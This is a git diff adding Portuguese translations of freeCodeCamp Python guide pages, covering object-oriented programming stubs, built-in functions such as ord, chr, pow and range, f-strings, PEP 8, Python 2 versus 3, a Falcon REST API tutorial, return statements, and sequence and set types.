+Python é uma linguagem de programação multiparadigmática que suporta diferentes abordagens de programação. Um excelente paradigma de programação é a Programação Orientada a Objetos, ou OOP, abreviando, criando objetos.
+
+Em OOP propriedades e comportamentos são agrupados em objetos individuais, caracterizados por:
+
+*   atributos
+*   comportamentos
+
+Por exemplo, um objeto pode representar uma pessoa com atributos como nome, idade, endereço, com comportamentos como caminhar, falar, respirar e correr.
+
+OOP modelos entidades do mundo real como objetos de software, que têm alguns dados associados a eles e podem executar determinadas funções. Objetos são modelados como **classes** , que são uma espécie de _blueprint_ .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/inheritance/index.md b/client/src/guide/portuguese/python/object-oriented-programming/inheritance/index.md
new file mode 100644
index 0000000000..9e456cb876
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/inheritance/index.md
@@ -0,0 +1,11 @@
+---
+title: Inheritance
+localeTitle: Herança
+---
+## Herança
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/methods/index.md b/client/src/guide/portuguese/python/object-oriented-programming/methods/index.md
new file mode 100644
index 0000000000..6978a93530
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Methods
+localeTitle: Métodos
+---
+## Métodos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/operator-overloading/index.md b/client/src/guide/portuguese/python/object-oriented-programming/operator-overloading/index.md
new file mode 100644
index 0000000000..65019ebdb8
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/operator-overloading/index.md
@@ -0,0 +1,11 @@
+---
+title: Operator Overloading
+localeTitle: Sobrecarga do Operador
+---
+## Sobrecarga do Operador
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/special-comparison-methods/index.md b/client/src/guide/portuguese/python/object-oriented-programming/special-comparison-methods/index.md
new file mode 100644
index 0000000000..d95c8151a2
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/special-comparison-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Comparison Methods
+localeTitle: Métodos de comparação especiais
+---
+## Métodos de comparação especiais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/special-formatting-methods/index.md b/client/src/guide/portuguese/python/object-oriented-programming/special-formatting-methods/index.md
new file mode 100644
index 0000000000..cfcba09be9
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/special-formatting-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Formatting Methods
+localeTitle: Métodos especiais de formatação
+---
+## Métodos especiais de formatação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/special-iteration-methods/index.md b/client/src/guide/portuguese/python/object-oriented-programming/special-iteration-methods/index.md
new file mode 100644
index 0000000000..b03a909c2c
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/special-iteration-methods/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Iteration Methods
+localeTitle: Métodos Especiais de Iteração
+---
+## Métodos Especiais de Iteração
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/object-oriented-programming/static-variables/index.md b/client/src/guide/portuguese/python/object-oriented-programming/static-variables/index.md
new file mode 100644
index 0000000000..39d32ccd09
--- /dev/null
+++ b/client/src/guide/portuguese/python/object-oriented-programming/static-variables/index.md
@@ -0,0 +1,11 @@
+---
+title: Static Variables
+localeTitle: Variáveis ​​Estáticas
+---
+## Variáveis ​​Estáticas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/area-of-a-parallelogram/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/ord-function/index.md b/client/src/guide/portuguese/python/ord-function/index.md
new file mode 100644
index 0000000000..91cbdf05e8
--- /dev/null
+++ b/client/src/guide/portuguese/python/ord-function/index.md
@@ -0,0 +1,35 @@
+---
+title: Python Ord Function
+localeTitle: Função Python Ord
+---
+## Função ord
+
+`ord()` é uma função embutida no Python 3, para converter a string representando um caractere Unicode em inteiro representando o código Unicode do caractere.
+
+#### Exemplos:
+```
+>>> ord('d') 
+ 100 
+ >>> ord('1') 
+ 49 
+```
+
+## função chr
+
+`chr()` é uma função embutida no Python 3, para converter o inteiro representando o código Unicode em uma string representando um caractere correspondente.
+
+#### Exemplos:
+```
+>>> chr(49) 
+ '1' 
+```
+
+Uma coisa é notar que, se o valor inteiro passado para `chr()` estiver fora do intervalo, um ValueError será gerado.
+```
+>>> chr(-10) 
+ 'Traceback (most recent call last): 
+  File "<pyshell#24>", line 1, in <module> 
+    chr(-1) 
+ ValueError: chr() arg not in range(0x110000)' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/parenthesis-for-boolean-operations/index.md b/client/src/guide/portuguese/python/parenthesis-for-boolean-operations/index.md
new file mode 100644
index 0000000000..be1aac96f8
--- /dev/null
+++ b/client/src/guide/portuguese/python/parenthesis-for-boolean-operations/index.md
@@ -0,0 +1,17 @@
+---
+title: Python Parenthesis for Boolean Operations
+localeTitle: Parêntese Python para Operações Booleanas
+---
+Assim como em matemática, parênteses podem ser usados ​​para substituir a ordem das operações:
+```
+>>> not True or True 
+ True 
+ >>> not (True or True) 
+ False 
+ 
+ >>> True or False and False 
+ True 
+ >>> (True or False) and False 
+ False 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/powxy/index.md b/client/src/guide/portuguese/python/powxy/index.md
new file mode 100644
index 0000000000..ea91bb66a1
--- /dev/null
+++ b/client/src/guide/portuguese/python/powxy/index.md
@@ -0,0 +1,25 @@
+---
+title: Python Powxy
+localeTitle: Python Powxy
+---
+`pow(x, y, z)` é uma função embutida no Python 3 para calcular `x` para o poder `y` , e se `z` estiver presente, retorna `x` para o poder `y` [módulo](https://processing.org/reference/modulo.html) `z` .
+
+## Argumentos
+
+Os argumentos devem ter tipos numéricos. Essa função recebe dois argumentos, `x` e `y` , bem como três, `x` , `y` e `z` . Se `z` estiver presente, `x` e `y` devem ser de tipos inteiros e y deve ser não negativo.
+
+## Retorna
+
+Se `z` estiver presente, ele retornará `x` para o poder `y` módulo `z` . Se apenas `x` e `y` estiverem presentes, ele retornará `x` para o poder `y` (o mesmo que `x**y` ).
+
+## Exemplo
+
+```python
+print(pow(2,4))    # prints 16 
+ print(pow(10,-2))  # prints 0.01 
+ print(pow(4,3,5))  # prints 4 
+```
+
+[🚀 Código de execução](https://repl.it/CTGi)
+
+[Documentação Oficial](https://docs.python.org/3/library/functions.html#pow)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/python-2-vs-python-3/index.md b/client/src/guide/portuguese/python/python-2-vs-python-3/index.md
new file mode 100644
index 0000000000..bc095ef064
--- /dev/null
+++ b/client/src/guide/portuguese/python/python-2-vs-python-3/index.md
@@ -0,0 +1,65 @@
+---
+title: Python 2 vs Python 3
+localeTitle: Python 2 vs Python 3
+---
+Nós não estamos tomando parte no debate. Se você estiver interessado em saber mais sobre isso para fins acadêmicos, talvez [este artigo comparando Python 2 e Python 3](https://wiki.python.org/moin/Python2orPython3) possa intrigá-lo.
+
+Mas também não podemos ignorar o fato de que existem dois tipos principais de Python por aí. Por que você se importa, você pergunta? Porque o código escrito para uma versão do Python pode resultar em um erro de sintaxe em outra versão do Python.
+
+A seguir, uma instrução `print` válida no Python 2, mas que não funciona no Python 3:
+
+```py
+print "Hello World" 
+```
+
+No Python 3, a mesma instrução gera um erro como este:
+```
+>>> print "hello" 
+  File "<stdin>", line 1 
+    print "hello" 
+                ^ 
+ SyntaxError: Missing parentheses in call to 'print' 
+```
+
+No Python 2, “print” é tratado como uma declaração em vez de uma função. Não há necessidade de envolver o texto que você deseja imprimir entre parênteses, embora você possa, se quiser. O Python 3 trata explicitamente “print” como uma função, o que significa que você tem que passar os itens que você precisa para imprimir na função entre parênteses da maneira padrão, ou você receberá um erro de sintaxe
+
+Usar a função `print()` é 'seguro' tanto no Python 2 quanto no 3:
+
+```python
+print("Hello World") 
+```
+
+Outra diferença entre o Python 2 e o Python 3 é a estrutura de dados que eles retornam quando você chama a função `map()` .
+
+No Python 2, `map()` retorna uma lista:
+```
+>>> result = map(int,['10','20','30','40']) 
+ >>> print result 
+ >>> [10,20,30,40] 
+```
+
+No Python 3, `map()` retorna um iterador:
+```
+>>> result = map(int,['10','20','30','40']) 
+ >>> print (result) 
+ >>> <map object at 0x7f40896b4630> 
+```
+
+Para obter uma lista no Python 3, você precisa convertê-lo:
+```
+>>> result = list(map(int,['10','20','30','40'])) 
+ >>> print (result) 
+ >>> [10,20,30,40] 
+```
+
+Então, a única questão que você precisa se preocupar agora é; é qual você deve escolher? Se você é novo no Python, você deve escolher o Python 3. Atualmente, o Python 2 tem sua data de [fim de vida](https://www.python.org/dev/peps/pep-0373/#update) definida como 2020. Isso significa que correções de erros regulares não são garantidas daqui para frente e, sim, leva tempo para se familiarizar com os aspectos mais comuns. Python; e seu tempo é importante. Então, invista seu tempo e esforço com sabedoria!
+
+Embora o Python 2 seja bem suportado e popular, as bibliotecas e frameworks mais comuns em Python preferem o Python 3. O Django [recomenda](https://docs.djangoproject.com/en/1.9/faq/install/#faq-python-version-support) oficialmente o Python 3. O Flask e todas as suas dependências também são [suportados](http://flask.pocoo.org/docs/0.10/python3/#python3-support) no Python 3.
+
+Tanto o Python 2 quanto o Python 3 são ótimos. A maioria das distribuições Linux e MacOS vem pré-instalada com o Python 2 como a versão padrão do Python. E o Python 3 nasceu da busca insaciável por construções de linguagem mais legíveis e mais bonitas.
+
+Este artigo usa o Python 3 para configurar as estruturas da Web em seu ambiente de desenvolvimento. Mas antes disso, você precisa garantir que você tenha o Python 3 e saiba como usá-lo!
+
+#### Mais Informações:
+
+*   [Artigo Python 2 ou 3](https://wiki.python.org/moin/Python2orPython3)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/python-coding-standards/index.md b/client/src/guide/portuguese/python/python-coding-standards/index.md
new file mode 100644
index 0000000000..74e6508e3d
--- /dev/null
+++ b/client/src/guide/portuguese/python/python-coding-standards/index.md
@@ -0,0 +1,30 @@
+---
+title: Coding standards
+localeTitle: Padrões de codificação
+---
+### Esboço
+
+*   Por que padrões de codificação?
+*   Introdução ao PEP 8
+*   Comandos
+
+### Por que padrões de codificação?
+
+A comunidade global de python está crescendo rapidamente e quase todo mundo usa python. É aqui que a legibilidade do código e os padrões uniformes são importantes. Qualquer pessoa no planeta deve ser capaz de ler seu código e entender o que ele faz. Há muitos aspectos para entender o código do outro, por exemplo, comentários sobre o que uma função faz, dividindo logicamente tarefas entre módulos e funções, bons nomes de variáveis, etc.
+
+### Introdução ao PEP 8
+
+Nós amamos aderir às convenções. A comunidade de usuários de python criou um conjunto de padrões, que agora são considerados convenções. Qualquer código de nível de setor que você escreve é ​​executado através do verificador PEP 8. Portanto, é uma boa prática começar a escrever docstrings para suas classes e funções e nomear variáveis ​​em minúsculas com sublinhados apropriados. Pode valer a pena dar uma olhada nesses padrões antes de começar a codificação.
+
+[Aqui está o link exaustivo](https://www.python.org/dev/peps/pep-0008/ "Padrões PEP 8")
+
+### Comandos
+
+Veja como você verifica se o seu código python atende aos padrões dele.
+
+```console
+:~$ pip install pep8 
+ :~$ pep8 --first myCode.py 
+```
+
+Isso dará todas as linhas que violam os padrões, juntamente com uma breve descrição das correções.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/python-f-strings/index.md b/client/src/guide/portuguese/python/python-f-strings/index.md
new file mode 100644
index 0000000000..3e915b46f5
--- /dev/null
+++ b/client/src/guide/portuguese/python/python-f-strings/index.md
@@ -0,0 +1,53 @@
+---
+title: Python f-strings
+localeTitle: F-strings em Python
+---
+# F-strings em Python
+
+No Python versão 3.6, um novo método de formatação de strings foi implementado. O novo método é chamado de interpolação de cadeia literal (embora comumente referido como uma string f).
+
+O uso de f-string permite que o programador insira dinamicamente uma variável em uma string de uma maneira limpa e concisa. Além de inserir variáveis ​​em uma string, esse recurso também fornece a capacidade de um programador avaliar expressões, unir o conteúdo da coleção e até invocar funções dentro da string f.
+
+Para realizar esses comportamentos dinâmicos dentro de uma string f, os envolvemos dentro de chaves dentro da string, e prefixamos uma letra minúscula f no início da string (antes da aspas iniciais.
+
+### Exemplos
+
+1.  Inserindo dinamicamente uma variável em uma string no tempo de execução:
+    
+    ```python
+    name = 'Jon Snow' 
+     greeting = f'Hello! {name}' 
+     print(greeting) 
+    
+    ```
+    
+2.  Avalie uma expressão em uma string: `python val1 = 2 val2 = 3 expr = f'The sum of {val1} + {val2} is {val1 + val2}' print(expr)`
+    
+3.  Chamando uma função e inserindo saída dentro de uma string:
+    
+    ```python
+    def sum(*args): 
+        result = 0 
+        for arg in args: 
+            result += arg 
+        return result 
+     
+     func = f'The sum of 3 + 5 is {sum(3, 5)}' 
+     print(func) 
+    
+    ```
+    
+4.  Juntando o conteúdo de uma coleção dentro de uma string:
+    
+    ```python
+    fruits = ['Apple', 'Banana', 'Pear'] 
+     
+     list_str = f'List of fruits: {", ".join(fruits)}' 
+     print(list_str) 
+    
+    ```
+    
+
+### Fontes
+
+https://www.python.org/dev/peps/pep-0498/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/python-resources/index.md b/client/src/guide/portuguese/python/python-resources/index.md
new file mode 100644
index 0000000000..687052c827
--- /dev/null
+++ b/client/src/guide/portuguese/python/python-resources/index.md
@@ -0,0 +1,69 @@
+---
+title: Python Resources
+localeTitle: Recursos Python
+---
+## Tutoriais
+
+*   [Tutoriais Oficiais do Python](https://docs.python.org/3/tutorial/)
+*   [O Guia do Mochileiro para Python](https://python-guide.readthedocs.org/en/latest/)
+*   [Classe do Google Python](https://developers.google.com/edu/python/)
+*   [Aprenda Python do jeito difícil](http://learnpythonthehardway.org/book/)
+*   [Pense Python](http://www.greenteapress.com/thinkpython/html/index.html)
+*   [Aprenda Python em X minutos](https://learnxinyminutes.com/docs/python/)
+*   [Aprenda Python 3 em X minutos](https://learnxinyminutes.com/docs/python3/)
+*   [Mergulhe no Python 3](http://www.diveintopython3.net/)
+*   [Python Full Stack](http://www.fullstackpython.com/)
+*   [Automatize o material chato com o Python](https://automatetheboringstuff.com/)
+*   [REPL de Python no Navegador](https://repl.it/languages/python3)
+*   [Passo a Passo do Código Visual do Python](http://pythontutor.com/)
+*   [Codecademy Python](https://www.codecademy.com/learn/python)
+*   [Como pensar como um cientista da computação](http://interactivepython.org/runestone/static/thinkcspy/index.html) - livro interativo que ensina programação com Python
+*   [Introdução à Ciência da Computação e Programação Usando Python](https://www.edx.org/course/introduction-computer-science-mitx-6-00-1x-8) (MIT)
+*   [CS for All: Introdução à Ciência da Computação e Programação em Python](https://www.edx.org/course/cs-all-introduction-computer-science-harveymuddx-cs005x-0)
+*   [Aprendendo Python](https://www.packtpub.com/packt/free-ebook/learning-python) - Free ebook
+*   [New Coder](http://newcoder.io/) - Tutoriais / desafios para levá-lo do novato ao codificador real.
+*   [Inventar com Python](https://inventwithpython.com/) (mais dois outros livros do cara Automate the Boring Stuff)
+*   [Resolução de Problemas com Algoritmos e Estruturas de Dados Usando o Python](http://interactivepython.org/runestone/static/pythonds/index.html)
+*   [Padrões de design em Python](https://github.com/faif/python-patterns)
+*   [Tutorial de Introdução ao Django](https://www.djangoproject.com/start/)
+*   [Desenvolvimento Orientado a Testes com Python](http://chimera.labs.oreilly.com/books/1234000000754/index.html)
+*   [Tango com Django](http://www.tangowithdjango.com/)
+*   [Django Girls 'Tutorial](http://tutorial.djangogirls.org/en/) - Construa um blog
+*   [Tutorial do Django do TaskBuster](http://www.marinamele.com/taskbuster-django-tutorial) - Construa um projeto do Django a partir do zero
+*   [Derek Banas Aprenda Python Em Um Vídeo](https://www.youtube.com/watch?v=N4mEzFDjqtA)
+*   [pythonprogramming.net Python Baics](https://pythonprogramming.net/introduction-to-python-programming/)
+*   [thenewboston Tutoriais de programação do Python 3.4](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw91mC_)
+*   [Ponto de tutoriais - Python](http://www.tutorialspoint.com/python/)
+*   [Conjunto de Projetos Iniciais com Vídeos](https://pythonprogramming.net) - Do básico em diante.
+*   [O Tutorial Mega Flask (Miguel Grinberg)](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world)
+
+## Desafios
+
+*   [Koans Python](https://github.com/gregmalcolm/python_koans)
+*   [Desafios do Exercism Python](http://exercism.io/languages/python)
+*   [Desafios CodingBat Python](http://codingbat.com/python)
+*   [Aprenda Python Interativamente](http://www.learnpython.org/)
+*   [Projeto Euler](http://projecteuler.net/)
+*   [Problemas de Bioinformática da Rosalind Python](http://rosalind.info/problems/locations/)
+*   [Desafio do Elevador Python](https://github.com/mshang/python-elevator-challenge)
+*   [Desafios do CoderByte](https://coderbyte.com/)
+*   [CheckiO](https://checkio.org) - o jogo para codificadores
+*   [CodeAbbey](http://www.codeabbey.com/)
+*   [HackerRank - Desafios Python](https://hackerrank.com/domains/python/py-introduction)
+*   [CodeSignal - Prepare-se para entrevistas e aprimore suas habilidades de programação](https://codesignal.com/)
+*   [CodeWars](https://www.codewars.com/)
+*   [CodeChef](https://www.codechef.com/)
+
+## Comunidade
+
+*   [Python impressionante](https://github.com/vinta/awesome-python)
+*   [/ r / Python](https://www.reddit.com/r/python)
+*   [/ r / LearnPython](https://www.reddit.com/r/learnpython)
+*   [Planeta Python](http://planetpython.org/)
+*   [PyLadies](http://www.pyladies.com/)
+*   [DjangoGirls](https://djangogirls.org/)
+*   [Python-forum.io](https://python-forum.io/)
+
+## Ferramentas:
+
+*   [PyCharm Edu](https://www.jetbrains.com/pycharm-edu/) - uma versão educacional grátis do PyCharm que vem com tutoriais para ensinar Python e a capacidade de baixar mais.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/range-function/index.md b/client/src/guide/portuguese/python/range-function/index.md
new file mode 100644
index 0000000000..694387f6e4
--- /dev/null
+++ b/client/src/guide/portuguese/python/range-function/index.md
@@ -0,0 +1,13 @@
+---
+title: Range Method
+localeTitle: Método de intervalo
+---
+# Função de Faixa
+
+Se você precisar iterar em uma sequência de números, o intervalo de funções interno () será útil. Ele gera progressões aritméticas:
+
+#### Exemplo de uso
+
+`py for i in range(5): print(i)`
+
+Saída #### `0 1 2 3 4`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/rest-api-with-falcon/index.md b/client/src/guide/portuguese/python/rest-api-with-falcon/index.md
new file mode 100644
index 0000000000..24bd800a1f
--- /dev/null
+++ b/client/src/guide/portuguese/python/rest-api-with-falcon/index.md
@@ -0,0 +1,91 @@
+---
+title: REST APIs with Falcon
+localeTitle: APIs REST com Falcon
+---
+## Introdução
+
+As APIs RESTful são um componente importante de qualquer pilha bem arquitetada, e o Python tem algumas estruturas brilhantes para compor rapidamente APIs. Um desses frameworks é chamado [Falcon](https://falconframework.org) - e é ótimo! Essencialmente um microframework, ele vem com um número considerável de vantagens:
+
+1.  É rápido. Muito depressa. Confira os benchmarks [aqui](https://falconframework.org/#sectionBenchmarks) .
+    
+2.  Recursos HTTP são definidos como classes, com métodos de classe sendo usados ​​para diferentes operações REST nesses recursos. Isso ajuda a manter uma base de código limpa.
+    
+3.  É bastante extensível - confira [esta seção](https://github.com/falconry/falcon/wiki/Complementary-Packages) em seu wiki, para ter uma idéia.
+    
+4.  Ele é baseado no WSGI - o padrão Python para aplicativos da web - e funciona com o Python 2.6, 2.7 e 3.3+. E se você precisar de mais desempenho, execute-o usando o PyPy!
+    
+
+## Começando
+
+Primeiro, vamos preparar nosso ambiente. Pessoalmente, é sempre bom trabalhar em ambientes virtuais - você pode usar `virtualenv` , `virtualenvwrapper` ou `venv` . Em seguida, instale o Falcon usando o `pip` : `pip install falcon` .
+
+Vamos desenvolver uma pequena amostra de API que faz manipulações muito básicas de fuso horário para nós. Ele exibirá a hora atual em UTC, assim como a hora da época correspondente. Para esse fim, vamos pegar uma biblioteca bacana chamada `arrow` : `pip install arrow` .
+
+Você pode encontrar a amostra finalizada em [https://github.com/rudimk/freecodecamp-guides-rest-api-falcon](https://github.com/rudimk/freecodecamp-guides-rest-api-falcon) .
+
+## Recursos
+
+Pense em um recurso como uma entidade que sua API precisa manipular. No nosso caso, o melhor recurso seria um `Timestamp` . Nosso roteamento normalmente seria algo assim:
+```
+GET /timestamp 
+```
+
+Aqui, `GET` é o verbo HTTP usado para chamar esse terminal, e `/timestamp` é o próprio URL. Agora que conseguimos esse pouco fora do caminho, vamos criar um módulo!
+
+`$ touch timestamp.py`
+
+Hora de importar a biblioteca do Falcon:
+
+```python
+import json 
+ 
+ import falcon 
+ 
+ import arrow 
+```
+
+Note que também importamos o pacote `json` e a biblioteca de `arrow` . Agora, vamos definir uma classe para o nosso recurso:
+
+```python
+class Timestamp(object): 
+ 
+    def on_get(self, req, resp): 
+        payload = {} 
+        payload['utc'] = arrow.utcnow().format('YYYY-MM-DD HH:mm:SS') 
+        payload['unix'] = arrow.utcnow().timestamp 
+ 
+        resp.body = json.dumps(payload) 
+        resp.status = falcon.HTTP_200 
+```
+
+Vamos passar por esse trecho. Definimos uma classe `Timestamp` e definimos um método de classe chamado `on_get` - essa função informa ao Falcon que quando uma solicitação `GET` é emitida para um nó de extremidade desse recurso, execute a função `on_get` e forneça os objetos request e response como parâmetros. Depois disso, é fácil navegar - criamos um dicionário vazio, o preenchemos com os timestamps UTC e UNIX atuais, o convertemos em JSON e o anexamos ao objeto de resposta.
+
+Muito simples, certo? Mas infelizmente isso não é tudo. Agora precisamos criar um servidor Falcon e conectar a classe de recursos que acabamos de definir para um terminal real.
+
+`$ touch app.py`
+
+Agora, adicione o código abaixo:
+
+```python
+import falcon 
+ 
+ from timestamp import Timestamp 
+ 
+ api = application = falcon.API() 
+ 
+ timestamp = Timestamp() 
+ 
+ api.add_route('/timestamp', timestamp) 
+```
+
+Aqui, definimos uma API do Falcon e inicializamos uma instância da classe de recursos que criamos anteriormente. Em seguida, conectamos o terminal `/timestamp` à instância da classe - e agora estamos prontos! Para testar essa API, instale o `gunicorn` ( `pip install gunicorn` ) e execute o `gunicorn app` . Use o Postman ou o `cURL` simples para testar isso:
+```
+$ curl http://localhost:8000/timestamp 
+ {"utc": "2017-10-20 06:03:14", "unix": 1508479437} 
+```
+
+E isso faz!
+
+## Se movendo
+
+Uma vez que você conhece o Falcon, compor poderosas APIs RESTful que interagem com bancos de dados ou filas de mensagens é muito fácil. Confira os [documentos](https://falcon.readthedocs.io/en/stable/index.html) do [Falcon](https://falcon.readthedocs.io/en/stable/index.html) , assim como o PyPI para módulos interessantes do Falcon que continuam aparecendo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/return-statement/index.md b/client/src/guide/portuguese/python/return-statement/index.md
new file mode 100644
index 0000000000..e0970dcf43
--- /dev/null
+++ b/client/src/guide/portuguese/python/return-statement/index.md
@@ -0,0 +1,91 @@
+---
+title: Python Return Statement
+localeTitle: Declaração de Devolução do Python
+---
+[Documentos em Python](https://docs.python.org/3/reference/simple_stmts.html#the-return-statement)
+
+Todas as funções retornam um valor quando chamado.
+
+Se uma instrução de retorno for seguida por uma lista de expressões, essa lista de expressões será avaliada e o valor será retornado:
+```
+>>> def greater_than_1(n): 
+ ...     return n > 1 
+ ... 
+ >>> print(greater_than_1(1)) 
+ False 
+ >>> print(greater_than_1(2)) 
+ True 
+```
+
+Se nenhuma lista de expressões for especificada, `None` será retornado:
+```
+>>> def no_expression_list(): 
+ ...     return    # No return expression list. 
+ ... 
+ >>> print(no_expression_list()) 
+ None 
+```
+
+Se uma declaração de retorno for atingida durante a execução de uma função, a chamada de função atual é deixada nesse ponto:
+```
+>>> def return_middle(): 
+ ...     a = 1 
+ ...     return a 
+ ...     a = 2     # This assignment is never reached. 
+ ... 
+ >>> print(return_middle()) 
+ 1 
+```
+
+Se não houver declaração de retorno, a função retornará None quando chegar ao final:
+```
+>>> def no_return(): 
+ ...     pass     # No return statement. 
+ ... 
+ >>> print(no_return()) 
+ None 
+```
+
+Uma única função pode ter várias instruções de `return` . A execução da função termina quando uma dessas instruções de `return` é atingida:
+```
+ >>> def multiple_returns(n): 
+ ...    if(n): 
+ ...        return "First Return Statement" 
+ ...    else: 
+ ...        return "Second Return Statement" 
+ ... 
+ >>> print(multiple_returns(True)) 
+ First Return Statement 
+ >>> print(multiple_returns(False)) 
+ Second Return Statement 
+```
+
+Uma única função pode retornar vários tipos:
+```
+ >>> def various_return_types(n): 
+ ...     if(n==1): 
+ ...         return "Hello World."   # Return a string 
+ ...     elif(n==2): 
+ ...         return 42               # Return a value 
+ ...     else: 
+ ...         return True             # Return a boolean 
+ ... 
+ >>> print(various_return_types(1)) 
+ Hello World. 
+ >>> print(various_return_types(2)) 
+ 42 
+ >>> print(various_return_types(3)) 
+ True 
+```
+
+É possível até mesmo que uma única função retorne vários valores com apenas um único retorno:
+```
+ >>> def return_two_values(): 
+ ...     a = 40 
+ ...     b = 2 
+ ...     return a,b 
+ ... 
+ >>> print("First value = %d,  Second value = %d" %(return_two_values())) 
+ First value = 40,  Second value = 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/sequence-types/index.md b/client/src/guide/portuguese/python/sequence-types/index.md
new file mode 100644
index 0000000000..29f1495a0e
--- /dev/null
+++ b/client/src/guide/portuguese/python/sequence-types/index.md
@@ -0,0 +1,27 @@
+---
+title: Python Sequence Types
+localeTitle: Tipos de Seqüência Python
+---
+Estes representam conjuntos ordenados finitos indexados por números não negativos. A função `len()` retorna o número de itens de uma seqüência. Quando o comprimento de uma sequência é `n` , o conjunto de índices contém os números `0, 1, ..., n-1` . O item `i` da sequência a é selecionado por `a<a href='https://docs.python.org/3/reference/datamodel.html#the-standard-type-hierarchy' target='_blank' rel='nofollow'>i]` .
+
+\[Documentos do Python - hierarquia de tipos padrão
+
+## Mais
+
+*   Os tipos de sequência incorporados são:
+    
+    *   `list`
+        
+    *   `tuple`
+        
+    *   `range`
+        
+*   Os tipos de sequência incorporados são tipos `__iter__()` (implementar o método `__iter__()` obrigatório).
+    
+*   Operações:
+    
+    *   [Operações de Sequência Comuns](https://docs.python.org/3/library/stdtypes.html#common-sequence-operations)
+        
+    *   [Tipos de Sequência Mutável](https://docs.python.org/3/library/stdtypes.html#mutable-sequence-types)
+        
+    *   [Tipos de Sequência Imutáveis](https://docs.python.org/3/library/stdtypes.html#immutable-sequence-types)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/python/set-types/index.md b/client/src/guide/portuguese/python/set-types/index.md
new file mode 100644
index 0000000000..052ad12a85
--- /dev/null
+++ b/client/src/guide/portuguese/python/set-types/index.md
@@ -0,0 +1,22 @@
+---
+title: Python Set Types
+localeTitle: Tipos de conjunto de Python
+---
+Um objeto definido é uma coleção não ordenada de objetos distintos e hash. Usos comuns incluem testes de associação, remoção de duplicatas de uma sequência e computação de operações matemáticas como interseção, união, diferença e diferença simétrica.
+
+[Python Docs - Definir tipos de conjunto Frozenset](https://docs.python.org/3/library/stdtypes.html#set-types-set-frozenset)
+
+**TODO: Explique hash / hashable** Uma tabela de hash é um vetor contíguo de registros, cujos slots vêm em três sabores:
+
+1.  Slots com pares de chave + valor. Chame esses cidadãos.
+2.  Slots ainda não utilizados. Chame essas virgens.
+3.  Slots que já foram cidadãos, mas cuja chave foi excluída e onde outro par chave + valor ainda não substituiu o slot. Chame estes turds (esse é o termo técnico <0.9 wink>).
+
